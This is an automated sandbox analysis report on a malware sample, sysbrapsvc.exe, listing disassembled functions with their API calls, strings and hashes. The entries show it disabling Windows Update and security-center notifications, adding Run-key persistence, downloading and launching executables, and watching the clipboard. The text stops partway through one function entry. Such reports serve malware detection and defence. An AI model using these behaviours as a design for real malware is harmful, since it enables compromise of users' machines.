Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: Crypt$Context$AcquireRandomRelease
String ID: ~@
API String ID: 1815803762-592544116
Opcode ID: 115afb25b1a51c25259045811286537a4a8d93f4d7ebd8fa37951325938a193c
Instruction ID: 830194fa38359529e853ee3f0456384099f2f8dd9552bb81b1528bc6e0449336
Opcode Fuzzy Hash: 115afb25b1a51c25259045811286537a4a8d93f4d7ebd8fa37951325938a193c
Instruction Fuzzy Hash: B3E01275654208BBDB24CFE1EC49FDA776CAB48B00F108154FB09D7190DAB5EA409BA8

Function 004013B0 Relevance: 6.1, APIs: 4, Instructions: 63networkthreadCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,?,?,0040DA0D,00000000), ref: 004013D5
socket.WS2_32(00000002,00000002,00000011), ref: 004013E4
bind.WS2_32(?,?,00000010), ref: 00401429

Part of subcall function 00401330: SetEvent.KERNEL32(6856006A,00000000,?,0040143A,00000000,?,?,?,0040DA0D,00000000), ref: 00401346
Part of subcall function 00401330: WaitForSingleObject.KERNEL32(00401100,000000FF,?,0040143A,00000000,?,?,?,0040DA0D,00000000), ref: 00401352
Part of subcall function 00401330: CloseHandle.KERNEL32(00401100,?,0040143A,00000000,?,?,?,0040DA0D,00000000), ref: 0040135C

CreateThread.KERNELBASE(00000000,00000000,00401100,00000000,00000000,00000000), ref: 00401459

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: CreateEvent$CloseHandleObjectSingleThreadWaitbindsocket
String ID:
API String ID: 3943618503-0
Opcode ID: 7920f1fa20b97f550be2e13ac393b81d85ae9c1e65d5af07afafdd8883ae4a63
Instruction ID: 1e7a4891c1a42a5318b19a32161f2d9e989c632f85172a1bcc985bb178a8dbbc
Opcode Fuzzy Hash: 7920f1fa20b97f550be2e13ac393b81d85ae9c1e65d5af07afafdd8883ae4a63
Instruction Fuzzy Hash: 18119674A40710AFE3609F749C0AF877AE0AF04B14F50892DF699E62E1E2B49544878A

Function 00407500 Relevance: 266.7, APIs: 99, Strings: 53, Instructions: 721
sleepfilesynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000007D0), ref: 0040750E
CreateMutexA.KERNELBASE(00000000,00000000,b7x663937xa), ref: 0040751D
GetLastError.KERNEL32 ref: 00407529
ExitProcess.KERNEL32 ref: 00407538
GetModuleFileNameW.KERNEL32(00000000,C:\Windows\sysbrapsvc.exe,00000105), ref: 00407572
PathFindFileNameW.SHLWAPI(C:\Windows\sysbrapsvc.exe), ref: 0040757D
wsprintfW.USER32 ref: 0040759A
DeleteFileW.KERNELBASE(?), ref: 004075AA
ExpandEnvironmentStringsW.KERNEL32(%userprofile%,?,00000104), ref: 004075C1
wcscmp.NTDLL ref: 004075D3
ExitProcess.KERNEL32 ref: 004075F2

Strings

SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU, xrefs: 00407B09
%s\%s, xrefs: 0040761B
NoAutoUpdate, xrefs: 00407B2A
%s\tbtnds.dat, xrefs: 00407E31
%s\%s, xrefs: 004077E6
%s\tbtcmds.dat, xrefs: 00407E4B
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 00407669
FirewallDisableNotify, xrefs: 00407C37
WindowsUpdate, xrefs: 00407A85
FirewallDisableNotify, xrefs: 00407D43
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 00407834
AntiSpywareOverride, xrefs: 00407D62
%windir%, xrefs: 00407604
AntiVirusOverride, xrefs: 00407D81
FirewallOverride, xrefs: 00407D24
C:\Users\user\tbtcmds.dat, xrefs: 00407E50
DisableWindowsUpdateAccess, xrefs: 004079DB
%s:Zone.Identifier, xrefs: 0040758E
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 00407743
SOFTWARE\Policies\Microsoft\Windows, xrefs: 00407A5B
SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate, xrefs: 00407AB2
AntiVirusDisableNotify, xrefs: 00407C94
WindowsUpdate, xrefs: 0040798D
C:\Windows\sysbrapsvc.exe, xrefs: 0040756B, 00407578, 00407589, 00407639, 00407713, 00407804
UpdatesDisableNotify, xrefs: 00407DDE
AntiVirusDisableNotify, xrefs: 00407DA0
DisableWindowsUpdateAccess, xrefs: 00407931
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL, xrefs: 00407BA5
%s\%s, xrefs: 004076F5
Start, xrefs: 004078E3
Start, xrefs: 00407B78
CheckedValue, xrefs: 00407BC6
b7x663937xa, xrefs: 00407514
SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU, xrefs: 00407A08
sysbrapsvc.exe, xrefs: 004075C7, 0040760F, 004076E9, 004077DA
SYSTEM\CurrentControlSet\Services\wuauserv, xrefs: 004078C2
NoAutoUpdate, xrefs: 00407A29
AntiVirusOverride, xrefs: 00407C75
SYSTEM\CurrentControlSet\Services\BITS, xrefs: 00407B57
UpdatesDisableNotify, xrefs: 00407CD2
Windows Settings, xrefs: 0040769C, 00407776, 00407867
SOFTWARE\Policies\Microsoft\Windows, xrefs: 00407963
SOFTWARE\Microsoft\Security Center, xrefs: 00407BF3
UpdatesOverride, xrefs: 00407CB3
UpdatesOverride, xrefs: 00407DBF
FirewallOverride, xrefs: 00407C18
SOFTWARE\Microsoft\Security Center\Svc, xrefs: 00407CFF
SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate, xrefs: 00407910
%temp%, xrefs: 004077CF
SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate, xrefs: 004079BA
C:\Users\user\tbtnds.dat, xrefs: 00407E36
%userprofile%, xrefs: 004075BC
AntiSpywareOverride, xrefs: 00407C56

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: File$ExitNameProcess$CreateDeleteEnvironmentErrorExpandFindLastModuleMutexPathSleepStringswcscmpwsprintf
String ID: %s:Zone.Identifier$%s\%s$%s\%s$%s\%s$%s\tbtcmds.dat$%s\tbtnds.dat$%temp%$%userprofile%$%windir%$AntiSpywareOverride$AntiSpywareOverride$AntiVirusDisableNotify$AntiVirusDisableNotify$AntiVirusOverride$AntiVirusOverride$C:\Users\user\tbtcmds.dat$C:\Users\user\tbtnds.dat$C:\Windows\sysbrapsvc.exe$CheckedValue$DisableWindowsUpdateAccess$DisableWindowsUpdateAccess$FirewallDisableNotify$FirewallDisableNotify$FirewallOverride$FirewallOverride$NoAutoUpdate$NoAutoUpdate$SOFTWARE\Microsoft\Security Center$SOFTWARE\Microsoft\Security Center\Svc$SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL$SOFTWARE\Policies\Microsoft\Windows$SOFTWARE\Policies\Microsoft\Windows$SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate$SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate$SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate$SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU$SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU$SYSTEM\CurrentControlSet\Services\BITS$SYSTEM\CurrentControlSet\Services\wuauserv$Software\Microsoft\Windows\CurrentVersion\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Start$Start$UpdatesDisableNotify$UpdatesDisableNotify$UpdatesOverride$UpdatesOverride$Windows Settings$WindowsUpdate$WindowsUpdate$b7x663937xa$sysbrapsvc.exe
API String ID: 4172876685-275362819
Opcode ID: aff6f25d3f8000eba581a1516f813dc5f7da4df36a577d5272a130dde58f2203
Instruction ID: 03a0cce086b07e6777eb00571f2894b6de511c4d2cf633d1374b0a1cea72e181
Opcode Fuzzy Hash: aff6f25d3f8000eba581a1516f813dc5f7da4df36a577d5272a130dde58f2203
Instruction Fuzzy Hash: D64256B1B80318BBE7209BA0DC4AFD93779AB48B11F10C5A5F305BA1D0DAF5A584CB5D

Function 0040EF90 Relevance: 75.5, APIs: 37, Strings: 6, Instructions: 235
filesleepnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 0040EF99
srand.MSVCRT ref: 0040EFA0
ExpandEnvironmentStringsW.KERNEL32(%temp%,?,00000104), ref: 0040EFC0
strlen.NTDLL ref: 0040EFCA
mbstowcs.NTDLL ref: 0040EFE1
rand.MSVCRT ref: 0040EFE9
rand.MSVCRT ref: 0040EFFD
wsprintfW.USER32 ref: 0040F024
InternetOpenW.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36,00000000,00000000,00000000,00000000), ref: 0040F03A
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040F069
CreateFileW.KERNELBASE(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040F098
InternetReadFile.WININET(00000000,?,00000103,?), ref: 0040F0CB
WriteFile.KERNELBASE(000000FF,?,00000000,?,00000000), ref: 0040F0FC
CloseHandle.KERNEL32(000000FF), ref: 0040F10B
wsprintfW.USER32 ref: 0040F124
DeleteFileW.KERNELBASE(?), ref: 0040F134
Sleep.KERNEL32(000003E8), ref: 0040F13F
Sleep.KERNELBASE(000007D0), ref: 0040F160
ExitProcess.KERNEL32 ref: 0040F188
DeleteFileW.KERNELBASE(?), ref: 0040F19E
CloseHandle.KERNEL32(000000FF), ref: 0040F1AB
InternetCloseHandle.WININET(00000000), ref: 0040F1B8
InternetCloseHandle.WININET(00000000), ref: 0040F1C5
Sleep.KERNEL32(000003E8), ref: 0040F1D0
rand.MSVCRT ref: 0040F1E5
Sleep.KERNELBASE ref: 0040F1FC
rand.MSVCRT ref: 0040F202
rand.MSVCRT ref: 0040F216
wsprintfW.USER32 ref: 0040F23D
DeleteUrlCacheEntryW.WININET(?), ref: 0040F24D
URLDownloadToFileW.URLMON(00000000,?,?,00000000,00000000), ref: 0040F267
wsprintfW.USER32 ref: 0040F287
DeleteFileW.KERNELBASE(?), ref: 0040F297
Sleep.KERNEL32(000003E8), ref: 0040F2A2
Sleep.KERNEL32(000007D0), ref: 0040F2C3
ExitProcess.KERNEL32 ref: 0040F2EA
DeleteFileW.KERNELBASE(?), ref: 0040F2F9

Strings

%temp%, xrefs: 0040EFBB
%s:Zone.Identifier, xrefs: 0040F27B
%s:Zone.Identifier, xrefs: 0040F118
%s\%d%d.exe, xrefs: 0040F231
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36, xrefs: 0040F035
%s\%d%d.exe, xrefs: 0040F018

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: File$Sleep$DeleteInternetrand$CloseHandlewsprintf$ExitOpenProcess$CacheCountCreateDownloadEntryEnvironmentExpandReadStringsTickWritembstowcssrandstrlen
String ID: %s:Zone.Identifier$%s:Zone.Identifier$%s\%d%d.exe$%s\%d%d.exe$%temp%$Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
API String ID: 3526668077-2417596247
Opcode ID: 8fcd0f09372c00a3cbb61bbde4d05531ec90484324228f58d9270ea4f8841c2f
Instruction ID: 8d9dde5e83d6f5576f0fa95dcda068e4d807ca32b5c879c9ce831b2193034ea7
Opcode Fuzzy Hash: 8fcd0f09372c00a3cbb61bbde4d05531ec90484324228f58d9270ea4f8841c2f
Instruction Fuzzy Hash: 7D91EBB5940318ABE720DB50DC49FEA3379AF88701F0485B9F609A51C1DABD9AC8CF59

Function 0040B350 Relevance: 34.7, APIs: 13, Strings: 10, Instructions: 198
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040B280: gethostname.WS2_32(?,00000100), ref: 0040B29C
Part of subcall function 0040B280: gethostbyname.WS2_32(?), ref: 0040B2AE

strcmp.NTDLL ref: 0040B380

Strings

0.0.0.0, xrefs: 0040B36E
.10, xrefs: 0040B46D
.127, xrefs: 0040B3AF
.127., xrefs: 0040B3CD
127., xrefs: 0040B391
.10., xrefs: 0040B48B
192., xrefs: 0040B3F0
10., xrefs: 0040B44F
.192, xrefs: 0040B40E
.192., xrefs: 0040B42C

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: gethostbynamegethostnamestrcmp
String ID: .10$.10.$.127$.127.$.192$.192.$0.0.0.0$10.$127.$192.
API String ID: 2906596889-2213908610
Opcode ID: a84fc12e8fb4865d36b1ea06ef6f0599483274ee2da903410dbdfc319e881692
Instruction ID: 1e2a78016ab808788e4a3d10fbde234ca2a84306dd4339bbdfb36d09265cce6e
Opcode Fuzzy Hash: a84fc12e8fb4865d36b1ea06ef6f0599483274ee2da903410dbdfc319e881692
Instruction Fuzzy Hash: C76171B5940305A7DB00AB61EC46BAA3765AB10318F18847AFC05673C2F77DE664C6DF

Function 00405910 Relevance: 25.7, APIs: 17, Instructions: 186
clipboardregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowLongW.USER32(?,000000EB), ref: 0040591C
SetClipboardViewer.USER32(?), ref: 00405968
SetWindowLongW.USER32(?,000000EB,?), ref: 0040597B
IsClipboardFormatAvailable.USER32(0000000D), ref: 004059D0
OpenClipboard.USER32(00000000), ref: 00405A17
GetClipboardData.USER32(00000000), ref: 00405A29
RegisterRawInputDevices.USER32(?,00000001,0000000C), ref: 00405B30
ChangeClipboardChain.USER32(?,?), ref: 00405B3E
DefWindowProcA.USER32(?,?,?,?), ref: 00405B54

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: Clipboard$Window$Long$AvailableChainChangeDataDevicesFormatInputOpenProcRegisterViewer
String ID:
API String ID: 3549449529-0
Opcode ID: e0897a1c01658654bab4c30dd7d4a59a874db33c96eaa3b8bfa9dc0d479b6fc4
Instruction ID: ab6473899f09a2e4ce72b89913391a8d882f42dafbfb3729ae4d66df8233a766
Opcode Fuzzy Hash: e0897a1c01658654bab4c30dd7d4a59a874db33c96eaa3b8bfa9dc0d479b6fc4
Instruction Fuzzy Hash: 6671FC75A00608EFDF14DFA4D988BAFB7B4EB48300F14856AE506B6290D7799A40CF69

Function 00406B50 Relevance: 24.6, APIs: 10, Strings: 4, Instructions: 106
sleepthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 00406B5E
GetModuleFileNameW.KERNEL32(00000000,C:\Windows\sysbrapsvc.exe,00000104), ref: 00406B70

Part of subcall function 0040EC20: CreateFileW.KERNELBASE(00406B80,80000000,00000001,00000000,00000003,00000000,00000000,00406B80), ref: 0040EC40
Part of subcall function 0040EC20: GetFileSize.KERNEL32(000000FF,00000000), ref: 0040EC55
Part of subcall function 0040EC20: FindCloseChangeNotification.KERNELBASE(000000FF), ref: 0040EC62

ExitThread.KERNEL32 ref: 00406CDA

Part of subcall function 00406340: GetLogicalDrives.KERNELBASE ref: 00406346
Part of subcall function 00406340: RegOpenKeyExW.KERNELBASE(80000002,Software\Microsoft\Windows\CurrentVersion\Policies\Explorer,00000000,00020019,?), ref: 00406394
Part of subcall function 00406340: RegQueryValueExW.KERNELBASE(?,NoDrives,00000000,00000000,00000000,00000004), ref: 004063C1
Part of subcall function 00406340: RegCloseKey.ADVAPI32(?), ref: 004063DE

Sleep.KERNELBASE(000007D0), ref: 00406CCD

Part of subcall function 00406260: lstrcpyW.KERNEL32(?,?), ref: 004062B3

GetVolumeInformationW.KERNEL32(?,?,00000105,00000000,00000000,?,00000000,00000000), ref: 00406C0F
GetDiskFreeSpaceExW.KERNEL32(?,00000000,?,00000000), ref: 00406C24
_aulldiv.NTDLL(?,?,40000000,00000000), ref: 00406C3F
wsprintfW.USER32 ref: 00406C52
wsprintfW.USER32 ref: 00406C72
wsprintfW.USER32 ref: 00406C95

Strings

%s%s, xrefs: 00406C89
(%dGB), xrefs: 00406C46
C:\Windows\sysbrapsvc.exe, xrefs: 00406B69, 00406B76
Unnamed volume, xrefs: 00406C66

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: Filewsprintf$CloseSleep$ChangeCreateDiskDrivesExitFindFreeInformationLogicalModuleNameNotificationOpenQuerySizeSpaceThreadValueVolume_aulldivlstrcpy
String ID: (%dGB)$%s%s$C:\Windows\sysbrapsvc.exe$Unnamed volume
API String ID: 899515741-3911162851
Opcode ID: 6d9c390415530bf0d7068dac02101ca91c021f24dc2fb290cfd9444ed22e654c
Instruction ID: 453264953970db4b87c24ab6cdbfc4a104d47f91dccd03b52bb95ce70ceb3e7a
Opcode Fuzzy Hash: 6d9c390415530bf0d7068dac02101ca91c021f24dc2fb290cfd9444ed22e654c
Instruction Fuzzy Hash: E041A9B1940218BBE714DB94DD55FEE7378BB48700F0081BAF20AB61D0DA785B94CF6A

Function 00405820 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 73
windowsleepregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.NTDLL ref: 00405838
GetModuleHandleW.KERNEL32(00000000), ref: 00405850
Sleep.KERNELBASE(00000001), ref: 00405864
GetTickCount.KERNEL32 ref: 0040586A
GetTickCount.KERNEL32 ref: 00405873
wsprintfW.USER32 ref: 00405886
RegisterClassExW.USER32(00000030), ref: 00405893
CreateWindowExW.USER32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,000000FD,00000000,?,00000000), ref: 004058BC
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 004058D7
TranslateMessage.USER32(?), ref: 004058E5
DispatchMessageA.USER32(?), ref: 004058EF
ExitThread.KERNEL32 ref: 00405901

Strings

0, xrefs: 00405840
%x%X, xrefs: 0040587A

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: Message$CountTick$ClassCreateDispatchExitHandleModuleRegisterSleepThreadTranslateWindowmemsetwsprintf
String ID: %x%X$0
API String ID: 716646876-225668902
Opcode ID: 0ae848275c23e009fdd4c42bfca4f986060bd914b3fa7c2793bcea76a610d9bf
Instruction ID: f3e1014eb48ffaf448ebc99f6ba60d6258e7c56012e586919e9efecad1237f6d
Opcode Fuzzy Hash: 0ae848275c23e009fdd4c42bfca4f986060bd914b3fa7c2793bcea76a610d9bf
Instruction Fuzzy Hash: BB211A71940308BBEB10ABA0DC49FEE7B78EB04711F108439F606BA1D0DBB995948F69

Function 0040EC70 Relevance: 16.6, APIs: 11, Instructions: 144
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(00000000,80000000,00000000,00000000,00000003,00000000,00000000), ref: 0040ECA2
CreateFileMappingW.KERNELBASE(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 0040ECC3
MapViewOfFile.KERNELBASE(00000000,00000004,00000000,00000000,00000000), ref: 0040ECE2
GetFileSize.KERNEL32(000000FF,00000000), ref: 0040ECFB
memcmp.NTDLL ref: 0040ED8D
UnmapViewOfFile.KERNEL32(00000000), ref: 0040EDB0
CloseHandle.KERNEL32(00000000), ref: 0040EDBA
CloseHandle.KERNEL32(000000FF), ref: 0040EDC4
CreateFileW.KERNELBASE(00000000,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040EDE3
WriteFile.KERNELBASE(000000FF,00000000,00000000,00000000,00000000), ref: 0040EE08
CloseHandle.KERNEL32(000000FF), ref: 0040EE12

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandle$View$MappingSizeUnmapWritememcmp
String ID:
API String ID: 3902698870-0
Opcode ID: c771612281c407a2c0136b61b2377c082ab1d65baf527ffd144ccb78ffcbf32e
Instruction ID: 32b63ebe374edb734f10ceafdcfe6a9e739b08b32ae31a868bafe8a6799fa03f
Opcode Fuzzy Hash: c771612281c407a2c0136b61b2377c082ab1d65baf527ffd144ccb78ffcbf32e
Instruction Fuzzy Hash: 20514EB4E40209FBDB14DFA4CC49BDEB774AB48704F108569E611B72C0D7B9AA40CB98

Function 0040D780 Relevance: 16.6, APIs: 11, Instructions: 95
threadsleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 0040D786
GetThreadPriority.KERNEL32(00000000,?,?,?,00407F75,02260638,000000FF), ref: 0040D78D
GetCurrentThread.KERNEL32 ref: 0040D798
SetThreadPriority.KERNELBASE(00000000,?,?,?,00407F75,02260638,000000FF), ref: 0040D79F
InterlockedExchangeAdd.KERNEL32(00407F75,00000000), ref: 0040D7C2
EnterCriticalSection.KERNEL32(000000FB), ref: 0040D7F7
WaitForSingleObject.KERNEL32(000000FF,00000000), ref: 0040D842
LeaveCriticalSection.KERNEL32(000000FB), ref: 0040D85E
Sleep.KERNELBASE(00000001), ref: 0040D88E
GetCurrentThread.KERNEL32 ref: 0040D89D
SetThreadPriority.KERNEL32(00000000,?,?,?,00407F75), ref: 0040D8A4

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: Thread$CurrentPriority$CriticalSection$EnterExchangeInterlockedLeaveObjectSingleSleepWait
String ID:
API String ID: 3862671961-0
Opcode ID: a6592383c0f5364e70b0f454a5c96517dd5f3d581be9e9b029ccc77ff023b2d7
Instruction ID: 6fb5641eb3e61aabfeb8d94b6f23565c140e371fca94fd76c4ad34d85bd1d77f
Opcode Fuzzy Hash: a6592383c0f5364e70b0f454a5c96517dd5f3d581be9e9b029ccc77ff023b2d7
Instruction Fuzzy Hash: 32414C75E00209EBCB04EFE4D848BAEBB71EF44305F10C16AE916A7384D6789A85CF55

Function 0040B770 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 107
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSection.KERNEL32(0041AE68,?,?,?,?,?,?,00407EF9), ref: 0040B77B
CreateFileW.KERNELBASE(C:\Users\user\tbtnds.dat,80000000,00000000,00000000,00000003,00000000,00000000), ref: 0040B7CD
CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 0040B7EE
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 0040B80D
GetFileSize.KERNEL32(000000FF,00000000), ref: 0040B822
UnmapViewOfFile.KERNEL32(00000000), ref: 0040B888
CloseHandle.KERNEL32(00000000), ref: 0040B892
CloseHandle.KERNEL32(000000FF), ref: 0040B89C

Part of subcall function 0040D950: NtQuerySystemTime.NTDLL(0040B865), ref: 0040D95A
Part of subcall function 0040D950: RtlTimeToSecondsSince1980.NTDLL ref: 0040D968

Strings

C:\Users\user\tbtnds.dat, xrefs: 0040B7C8

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleTimeView$CriticalInitializeMappingQuerySecondsSectionSince1980SizeSystemUnmap
String ID: C:\Users\user\tbtnds.dat
API String ID: 439099756-4031448526
Opcode ID: 7522d26a6701077299d235e5744c4266a6018d639c07455c855527bb792da273
Instruction ID: 479a2d3db74d12cc9ab5db8b9028aebaa0e2ca82416c5c7c2c0831f1d1863687
Opcode Fuzzy Hash: 7522d26a6701077299d235e5744c4266a6018d639c07455c855527bb792da273
Instruction Fuzzy Hash: FB417C75E40309ABDB10EFA4CC4ABAEB774EB44704F20842AFA11B72D1C7B96541CB9D

Function 00405B60 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 97
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
